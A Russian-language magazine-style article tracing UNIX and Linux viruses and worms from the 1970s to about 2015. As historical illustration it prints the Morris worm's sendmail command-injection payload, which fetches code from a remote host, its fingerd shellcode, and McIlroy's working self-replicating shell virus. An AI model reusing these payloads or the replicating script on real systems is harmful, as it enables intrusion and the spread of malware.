Содержание статьи
Для многих пользователей UNIX-систем словосочетание «вирус для Linux или BSD» звучит странно. Мы настолько привыкли к тому, что вирусов в наших системах нет, что уже начали верить, будто их не существует в природе. Между тем первый в истории компьютерный вирус был написан для 4.3BSD, а знаменитый червь Морриса поражал UNIX-системы через уязвимость в sendmail. Так есть вирусы или нет? Попробуем разобраться.
Предтеча
На самом деле, если под вирусом понимать в том числе и червей («самораспространяющиеся приложения»), то первым вирусом был Creeper, созданный еще в начале 1970-х годов сотрудником компании BBN (Bolt, Beranek and Newman) Бобом Томасом (Bob Thomas) для операционной системы Tenex. Creeper не использовал уязвимости и фактически ничего не заражал, он просто перемещался по сети и, как гласит предание, печатал на экране строку «I’m the Creeper... Catch me if you can».
Но Creeper не принято считать вирусом. Перебравшись на новую машину, он уничтожал свою старую копию, что противоречит идее постоянного размножения, за которую вирусы и получили свое название. Тем не менее всего пара строк кода легко превратила бы его в классический компьютерный вирус, и история вирусописательства началась бы на десять лет раньше, чем принято считать сейчас.
1983. Первый в истории вирус
«Настоящим» автором первого вируса принято считать Фреда Коэна (Fred Cohen). Еще студентом Инженерной школы Университета Южной Калифорнии он создал программу, способную заражать другие приложения и открыть полный доступ к системе. Согласно исследованию, проведенному на пяти машинах под управлением UNIX, среднее время для получения прав root после заражения машины составило тридцать минут с разбросом от пяти минут до часа. При этом вирус не использовал эксплоитов, а просто обходил существующие в то время системы защиты.
После проведенного эксперимента Фред представил результаты исследований на семинаре по компьютерной безопасности в пенсильванском Лихайском университете (Lehigh University). Тогда же впервые прозвучал и сам термин «компьютерный вирус», придуманный преподавателем Коэна Леонардом Адлеманом (Leonard Adleman), который известен всему айтишному миру как один из основателей RSA Security.
Стоит сказать, что Коэн всего лишь формализовал понятие вируса, представив действующий код и определив основные характеристики такого типа программ и возможные векторы атак. Попытки создать или смоделировать вирусы для разных платформ были и раньше. Так, за два года до Коэна пятнадцатилетний школьник Ричард Скрента (Rich Skrenta) создал программу Elk Cloner, которая внедрялась в Apple DOS и распространялась через запись в boot-сектор дискет. Но вирус так и не выбрался за пределы круга друзей Ричарда.
1988. Червь Морриса
По-настоящему массовое заражение произошло намного позже, а именно 2 ноября 1988 года, когда аспирант факультета вычислительной техники Корнельского университета Роберт Моррис выпустил своего червя на свободу. Менее чем за сутки червь распространился на 6 тысяч машин (10% всего интернета) и вывел из строя многие серверы и рядовые машины, подключенные к Сети.
Впоследствии детище Морриса нарекли «великим червем», а его имя попало в анналы истории и сегодня находится где-то рядом с легендарным Кевином Митником. И дело тут не в том, что этот случай был первым в истории массовым заражением через интернет, и даже не в сложности самого червя, показавшего неординарное мышление автора и его глубокие познания UNIX, а в том, что он позволил увидеть, насколько на самом деле беззащитна информация в Сети.
Червь Морриса применял сразу несколько техник проникновения в системы 4BSD и Sun 3: протокол удаленного выполнения команд rsh, sendmail и fingerd. Первый шел в ход в том случае, если удавалось подобрать пароль одного из пользователей на уже зараженной машине, те же логин-пароль червь пытался использовать на удаленной. Заражение через sendmail происходило через эксплуатацию уязвимости в отладочном коде. Фактически червь просто подключался к серверу по протоколу SMTP, отдавал команду DEBUG, а далее вместо заполнения полей FROM и DATA передавал исходный код своей «головы» и команды для ее запуска и компиляции. Выглядело это все примерно так:
DEBUG
MAIL FROM: </dev/null>
RCTP TO: <"|sed -e '1,/^$/'d | /bin/sh; exit 0">
DATA
cd /usr/tmp cat > x14481910.c <<'EOF' [исходный текст «головы» червя] EOF cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
.
QUIT
Доступ к системе с помощью fingerd червь получал через уязвимость в функции gets() библиотеки libc, используемой демоном для чтения запроса с удаленной машины. Червь передавал демону 536 байт, чем вызывал срыв стека и передачу управления шелл-коду. Последний был очень прост:
pushl $68732f '/sh\0'
pushl $6e69622f '/bin'
movl sp, r10
pushrl $0
pushrl $0
pushrl r10
pushrl $3
movl sp,ap
chmk $3b
Это не что иное, как строка execve("/bin/sh", 0, 0)
на языке си, то есть открытие доступа к командной строке. Далее, как и в предыдущем случае, червь загружал на машину исходный код своей «головы», которая затем выкачивала с зараженной машины и запускала основное тело червя.
В дальнейшем во всех трех случаях червь запускал команду netstat, читал файл /etc/hosts
и искал соседние машины в сети другими способами. Затем он читал файл /etc/passwd
, вычленял из него хеши паролей и пытался подобрать пароли, используя внутреннюю базу из 432 слов, файл /usr/dict/words
и собственную высокоэффективную реализацию алгоритма DES. Далее операция повторялась в отношении других хостов.
Хотя червь и скрывал свое присутствие, переименовывая самого себя в sh и удаляя себя и исходники «головы» с диска, зловред был быстро обнаружен. В коде червя был предусмотрен метод защиты от повторного заражения: проверка на открытый порт, используемый червем. Если машина уже была заражена, червь должен был уничтожить предыдущую копию, но с двумя условиями: 1) код подбора паролей в старой копии должен был закончить свою работу; 2) каждое седьмое заражение происходило без убийства предыдущей копии (защита на случай, если сисадмин попытается обмануть червя, открыв нужный порт).
Из-за этого многие машины заражались многократно и постоянно были заняты подбором паролей, а со временем благодаря второму условию машина полностью забивалась червями и становилась неработоспособной (DoS). Еще более осложняла дело намеренная оптимизация, введенная Моррисом, — чтобы сохранять высокий приоритет в системе, червь регулярно форкался (планировщик снижал приоритет «долгоиграющих» процессов).
В результате уже через двенадцать часов после начала заражения червя удалось поймать, декомпилировать и выработать ряд мер противодействия (самый простой — переименовать компилятор сс, чтобы червь не смог скомпилировать свою «голову»). Общий ущерб был оценен в 96,5 миллиона долларов, а Моррис после признания (на которое его вынудил отец) получил три года условно, 10 тысяч долларов штрафа и 400 часов исправительных работ.
1989. Эксперименты «отцов»
После инцидента с червем Морриса внимание к зловредным приложениям резко возросло. Появилось множество научных публикаций, демонстрирующих те или иные виды уязвимостей, путей заражения и методов защиты. Один из самых известных документов — Virology 101, написанный Дугласом Макилроем (Douglas McIlroy), автором концепции пайпов в UNIX и многих стандартных команд для обработки информации. Он привел несколько примеров, демонстрирующих простоту реализации вирусов для UNIX, в том числе следующий код на шелле:
#!/bin/sh
for i in * #virus#
do case "`sed 1q $i`" in
"#!/bin/sh")
grep '#virus#' $i >/dev/null ||
sed -n '/#virus#/,$p' $0 >>$i
esac
done 2>/dev/null
Несмотря на примитивизм, это полноценный вирус, который заражает все скрипты в текущем каталоге, добавляя себя в конец скрипта. Свое исследование на данную тему провел и Том Дафф (Tom Duff), один из разработчиков UNIX и Plan 9, автор широко используемого сегодня алгоритма композитинга изображений и шелла rc. В своей работе Viral Attacks On UNIX System Security он рассказал о попытке создания вируса, который прописывался в конец бинарного файла и изменял точку входа на себя. При запуске вирус искал в каталогах /bin
и /usr/bin
доступные для записи бинарники и заражал их.
1996. Первый вирус для Linux
Спустя семь лет хакерская группа VLAD, а точнее ее участник Quantum представил первый рабочий вирус для Linux, написанный на ассемблере с синтаксисом AT&T. Вирус, получивший имя Staog, при первом запуске получал права root, используя одну из трех уязвимостей: переполнение буфера в командах mount и tip и баг в команде suidperl. Затем прописывался в память ядра с помощью файла /dev/kmem
и изменял таблицу системных вызовов так, чтобы функция execve(), запускающая исполняемые файлы, ссылалась на него.
В результате при каждом запуске исполняемого файла вирус получал управление, заражал файл, а затем отдавал управление оригинальной функции execve(). Фактически это все, что он делал, никаких зловредных функций, чистый proof of concept. Вскоре уязвимости были пропатчены, и вирус был забыт, так никогда и не обнаружив себя in the wild. Однако метод изменения таблицы системных вызовов еще долго продолжали использовать авторы бэкдоров, пока наконец разработчики Linux не сделали таблицу неэкспортируемой.
1997. Bliss
5 февраля 1997-го, меньше чем через полгода после публикации исходников Staog, компания McAfee раструбила на весь интернет, что вирус для Linux обнаружен «в дикой природе». На самом деле вирус, названный автором Bliss, был выявлен на несколько месяцев раньше, и к моменту публикации пресс-релиза уже существовала его новая, усовершенствованная версия.
Первая версия Bliss была опубликована 29 сентября 1996 года в ньюсгруппах comp.security.unix, alt.comp.virus и comp.os.linux.misc. Однако первые сообщения о вирусе «в диких условиях» появились только 31 января 1997-го в списке рассылки linux-security. Из-за поднятой шумихи спустя пять дней автор опубликовал обновленную версию вируса (0.4.0), пояснив, что вирус, ходящий по Сети, — это всего лишь альфа-версия и судить его по ней не стоит, он может лучше.
Спустя три дня Рэй Лехтиниеми (Ray Lehtiniemi) провел анализ вируса и выяснил, что даже его новая версия довольно примитивна. Вирус всего лишь находил все доступные для записи исполняемые файлы и перезаписывал их, сохраняя оригинальное приложение в специальном участке файла. Если после этого запускалось инфицированное приложение, вирус извлекал код оригинального приложения в файл /tmp/.bliss-tmp.<pid>
, затем форкался и запускал его. Плюс внутри вируса был найден рудиментарный код, модифицирующий исходники ядра, незаконченная функциональность червя (вирус пытался подключиться к другим хостам по rsh, но, в отличие от червя Морриса, не умел подбирать пароли) и простейший метод защиты от отладки путем завершения самого себя при обнаружении запуска через strace.
Стоит ли говорить, что защититься от вируса было очень просто — не сидеть под учеткой root.
2000–2015
Следующие три года о вирусах для Linux не было слышно ничего, однако с 2000-го их количество начало резко увеличиваться. Скорее всего, потому, что среди рядовых пользователей популярность операционной системы стремительно возрастала и многие компании переходили на новую активно развивающуюся операционную систему с BSD и Solaris.
В 2000 году был обнаружен вирус Virus.Linux.Winter.341, заражавший бинарные файлы формата ELF и отличавшийся крайне скромными размерами — 341 байт. Годом позже прошла информация о первом ZIP-черве, который при запуске помещал свою копию во все найденные ZIP-архивы. Тогда же появились два довольно интересных вируса Ramen и Cheese, причем второй был червем, закрывавшим бэкдор, открытый Ramen.
Позже добавилось несколько червей, эксплуатирующих уязвимости в веб-сервере Apache. Червь Mighty, обнаруженный в 2002-м, проникал на машину через уязвимость в SSL, затем заходил на специально созданный IRC-канал и ожидал удаленных команд. Червь Lupper также перемещался по веб-серверам, но использовал стандартные уязвимости в CGI-скриптах. Как и Mighty, он имел функцию бэкдора.
В 2007 году появился первый вирус для OpenOffice. Написанный на StarBasic и распространяемый в составе файлов OpenOffice Draw (файлы .odg) вирус BadBunny обходил встроенные средства защиты OpenOffice и получал полный доступ к файлам пользователя. В 2009-м вирус WaterFall был обнаружен в одном из скринсейверов на сайте для пользователей GNOME. После установки он открывал бэкдор и по команде устраивал DDoS-атаку на сайт MMOwned.com.
В 2010 году была обнаружена кросс-платформенная модификация червя Koobface, способная поражать не только Windows, но и Linux и OS X. Червь распространялся через социальные сети с помощью социальной инженерии. После нажатия на ссылку у жертвы открывалась копия сайта youtube.com, а при попытке просмотреть ролик запускался Java-апплет. Далее, используя уязвимости Java, червь получал доступ к системе, устанавливал троян и начинал рассылку вредоносных публикаций в социальных сетях.
Позже были найдены и многие другие виды троянских коней, червей и бэкдоров. Основной целью хакеров были, конечно же, серверы (организовывать ботнеты для выполнения DDoS-атак), но были и вирусы, ориентированные на домашние машины, а также, например, роутеры.
Выводы
Вирусы в Linux есть, это вовсе не миф и не шутка. Другое дело, что в отличие от какой-нибудь Windows 95 здесь у них не так много шансов выжить и, как следствие, их распространение крайне ограничено. В основном это серверы, админят которые не совсем компетентные специалисты, забывающие обновлять ПО.
Почему на самом деле UNIX-системы свободны от вирусов
- Низкая популярность. Самая популярная UNIX-система Linux имеет долю пользователей на уровне 1% от общего числа домашних ПК. Этого явно мало, чтобы заинтересовать вирусописателей.
- Жесткая система разграничения прав. В отличие от Windows, в UNIX не принято постоянно сидеть под учеткой суперпользователя. Многие *nix-системы и Linux-дистрибутивы явно запрещают это делать.
- Фрагментация. Существует огромное количество разных UNIX-систем и Linux-дистрибутивов, что существенно усложняет разработку вирусов.
- Нестабильный ABI. Разработчики UNIX-систем и в особенности Linux не слишком беспокоятся о сохранении обратной совместимости ABI, поэтому после обновления системы/ядра вирус может просто не заработать.
- Репозитории. Большинство современных UNIX-систем используют удаленные репозитории для установки приложений. Каждый пакет в них имеет цифровую подпись, гарантирующую, что приложение не было изменено или инфицировано.